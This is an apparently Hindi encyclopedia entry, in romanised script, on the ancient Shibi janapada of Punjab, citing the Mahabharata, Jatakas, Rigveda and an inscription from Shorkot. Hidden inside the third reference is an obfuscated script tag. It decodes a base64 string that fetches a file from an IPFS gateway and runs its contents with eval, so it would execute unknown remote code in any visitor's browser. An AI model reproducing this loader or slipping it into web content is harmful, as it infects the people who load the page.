शिबि
shibi panjab ka ek janapad-
'shibianstrigartanambashthanh malavanh panchakarpatanh tatha madhyamikashchaiv vatadhananh dvijanath.'[1]
- yahaan shibi ka 'trigart'[2] ke sath varnan hai. is janapad ko pandav nakul ne pashchim disha ki vijay ke prasang me jita tha.[3]
- 'shivipur' (ya shivapur) namak nagar ka ullekh patanjali ke 'mahabhashy'[4] mean hai.
- isaka abhijnan vogal ne zila jhang, panjab-pakistan mean sthit 'shorakot' namak sthan ke sath kiya hai.[5] 'shor' shivapur ka apabhransh jan p data hai.
- shibipur ka ullekh shorakot se prapt ek abhilekh mean hua hai. yah abhilekh 83 gupt sanvat (402-403 ee.) ka hai aur ek vishal taanbe ke kadhav par utkirn hai, jo yahaan sthit prachin bauddh bihar se prapt hua tha. yah lahaur ke sangrahalay mean surakshit hai.
- shorakot ke ilake ko 'aina-e-akabari' mean abul fazal ne 'shor' likha hai. yah lagabhag nishchit hi samajhana chahie shibi janapad ki avasthiti isi sthan ke parivarti pradesh mean thi aur shibipur isaka mukhy nagar tha.[3]
- shibiyoan (siboee) ka ullekh alaksheandr (sikandar) ke itihas lekhakoan ne bhi kiya hai aur likha hai ki "inake pas chalis sahastr paidal sena thi aur ye log pashuoan ki khal ke kap de pahanate the."
- shibi naresh dvara apane rajakumar bestantar ko desh nikala die jane ki katha ka 'bessantarajatak' mean varnan hai.
- 'ummadantijatak' mean shibi desh ke ariththapur tatha 'bessantarajatak' mean is janapad ke jetuttar namak nagar ka ullekh hai.
- rrigved[6] mean sambhavatah shibiyoan ka hi 'shiv' nam se ullekh hai-
'a pakthasoan bhalanaso bhanantalinaso vishanniah shivasah. ayoanayatsadhama-aryasy gavyatritsubhyo ajagannayudhanunh.'
- mahabharat mean shibi desh ke raja ushinar ki katha hai. shyen se kapot ke pran bachane mean tatpar raja shyen se kahata hai-
'rashtran shibinamriddhan vai dadani tav khechar.'[7]
- hemachandr rayachaudhari[8] ke anusar ushinagar (uttar-pashchim uttar pradesh) pahale shibiyoan ka mool sthan raha hoga. bad mean ye log pashchim ki or jakar bas gaye hoange.
- shibiyoan ki sthiti ka pata siandh mean madhyamika (rajasthan ke nikat) aur kaveri tat[9] par bhi milata hai.[3]
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tika tippani aur sandarbh
- ↑ mahabharat, sabhaparv 32,7-8
- ↑ jalandhar doab
- ↑ 3.0 3.1 3.2 aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |sankalan: bharatakosh pustakalay |prishth sankhya: 899 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ mahabhashy 4,2,2
- ↑ epigraphika iandika, 1921 pri. 16
- ↑ rrigved 7,18,7
- ↑ mahabharat, vanaparv 131 21
- ↑ pri. 205
- ↑ dashakumaracharit
sanbandhit lekh
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